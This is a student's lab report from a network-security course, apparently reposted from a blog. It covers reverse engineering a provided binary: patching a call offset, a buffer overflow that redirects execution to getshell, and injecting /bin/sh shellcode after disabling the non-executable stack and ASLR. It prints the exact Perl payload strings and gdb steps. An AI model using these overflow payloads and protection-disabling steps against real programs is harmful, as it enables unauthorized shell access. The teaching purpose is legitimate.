2019-2020-2 20175202葛旭阳《网络对抗技术》 Exp1 PC平台逆向破解

2019-2020-2 20175202葛旭阳《网络对抗技术》 Exp1 PC平台逆向破解

一、实验任务

1.手动修改机器指令,改变程序执行流程;
2.利用foo函数得BOF漏洞,通过构造输入参数,造成BOF攻击,从而改变程序执行顺序;
3.注入Shellcode并执行。

二、实验步骤

【任务一:手动修改机器指令,改变程序执行流程】

1.实验前将附件中的pwn1下载到之前设置的共享文件夹中,之后在终端中用cp命令复制到实验文件夹/175202/exp1中并进行备份。

2.使用反汇编指令objdump -d pwn1 | morepwn1进行反汇编,结果如下。

3.分析反汇编结果,我们发现可以看到函数的地址为08048491,main函数中的call 8048491 <foo>指令的机器码为e8 d7 ff ff ff,下一条指令的地址为80484ba。机器码中的0xffffffd7 = 0x080484ba - 0x08048491为主函数执行位置和foo函数起始地址的差。而0x080484ba - 0x0804847d = 0xffffffc3,因此需要把偏移地址改为C3 ff ff ff
4.我们使用cp pwn1 pwn2pwn1进行备份,我们用vi编辑器打开pwn2文件。随后我们输入:%!xxd将可执行文件pwn2切换为16进制模式显示。
5.我们找到指定位置,将d7修改位c3,输入:wq保存退出。

6.分别运行pwn1pwn2文件,查看结果如下:

【任务二:利用foo函数得BOF漏洞,通过构造输入参数,造成BOF攻击,从而改变程序执行顺序】

1.我们使用cp pwn1 pwn3pwn1进行备份;

2.使用命令gdb pwn3来调试程序,参数r开始运行,使用info r指令来显示寄存器的值:

若输入的字符串小于等于28个字节,那么程序正常运行;我们发现若输入的字符串大于28个字节,则会报错。
3.因为getshell函数的地址为0x0804847d,由于小端优先,而且输入字符串时以ASCII码输入。因此我们分析,要转换为\x7d\x84\x04\x08
4.我们输入命令perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

5.我们使用xxd input来查看文件内容,随后通过管道符|,作为pwn1的输入,格式为(cat input; cat ) | ./pwn3

6.由上图可见,攻击成功。

【任务三:注入Shellcode并执行】

1.使用apt-get install execstack命令下载execstack软件包:

2.使用sudo -s进入管理员权限,然后使用execstack -s pwn3命令设置堆栈可执行;
3.使用execstack -q pwn3命令查询文件的堆栈是否可执行:

4.使用more /proc/sys/kernel/randomize_va_space指令查看随机化是否关闭;
5.使用echo "0" /proc/sys/kernel/randomize_va_space指令关闭随机化。

6.模仿老师提供的代码,我们构造一个input_shellcode并注入:

perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

7.打开两个终端,在a终端中输入指令(cat input_shellcode;cat) | ./pwn3来运行pwn3,在b终端中输入指令ps -ef | grep pwn3来查看pwn3的进程号;

8.用gdb进行调试

9.通过disassemble foo命令进行反编译,我们观察到看到ret指令的地址为0x080484ae,使用break *0x080484ae命令在此处设置断点;

我们按下回车,程序会运行到断点,我们再再另一个终端中输入c,程序会继续运行,如上图所示。
10.我们使用info r esp查看esp的寄存器地址,随后我们可以使用x/16x 0xffffd2cc指令实现以16进制形式查看0xffffd2cc地址后面16字节的内容。

通过上图,我们可以观察到,0x01020304的地址为0xffffd28c,因此shellcode注入位置地址应为0xffffd28c+0x00000004=0xffffd290
11.我们修改地址后注入;

扫描二维码关注公众号,回复: 9758815 查看本文章
perl -e 'print "A" x 32;print"\x90\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

12.输入命令(cat input_shellcode;cat) | ./pwn3运行,从下图发现shellcode注入成功;

三、实验过程中遇到的问题

1.问题:在第三个实验中,使用gdb调试时,提示是不允许的操作,如下;

解决:后来发现是因为pwn3的执行是在管理员权限下运行的,退出管理员权限后重新运行,解决了问题,如下;

2.问题:下载execstack时,提示无法定位软件包,如下;

解决:是Kali源的问题,找到sources.list文件,加入指令,解决了问题,如下;

四、问题的回答

1.什么是漏洞?漏洞有什么危害?
回答:漏洞本质上是计算机在硬件、软件、协议的实现过程中和安全策略上存在的缺陷,攻击者可以利用漏洞对计算机进行攻击,来威胁系统安全。这可能会导致系统崩溃、机密泄露、数据篡改等危害,还可能会引起巨大的经济损失。
2.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码。
回答:NOP汇编指令的机器码是“90”,JNE汇编指令的机器码是“75”,JE 汇编指令的机器码是“74”,JMP汇编指令的机器码是“eb”,CMP汇编指令的机器码是“39”。
3.掌握反汇编与十六进制编程器。
回答:反汇编指令:objdump -d file可以反汇编代码,objdump -l file可以在反汇编代码中插入文件名和行号,more实现分页显示,|管道符实现把一个命令的输出作为另一个命令的输入。
回答:十六进制编程器:vim <filename>实现以ASCII码形式显示可执行文件的内容,:%!xxd实现以16进制模式显示,:%!xxd实现将16进制显示返回到ASCII码模式显示。

五、实验心得与体会

这并不是我们第一次接触缓冲区溢出攻击了,在上学期刚刚结束的信息安全技术和操作系统的课上,我们就比较深入的学习了缓冲区溢出攻击的基本原理。本次实验中,我第一次自己实现了缓冲区溢出攻击,真正理解了缓冲区溢出攻击的核心是地址转移操作。在实验的过程中,我发现自己对汇编语言忘得一干二净。同时自己对机器指令也不是很了解。不过在边学边做得过程中,我了解了很多知识,尤其是对堆栈的结构和操作有了很多认识,收获非常大。希望以后自己也能认真完成这些有趣的实验项目。

猜你喜欢

转载自www.cnblogs.com/gexvyang/p/12462784.html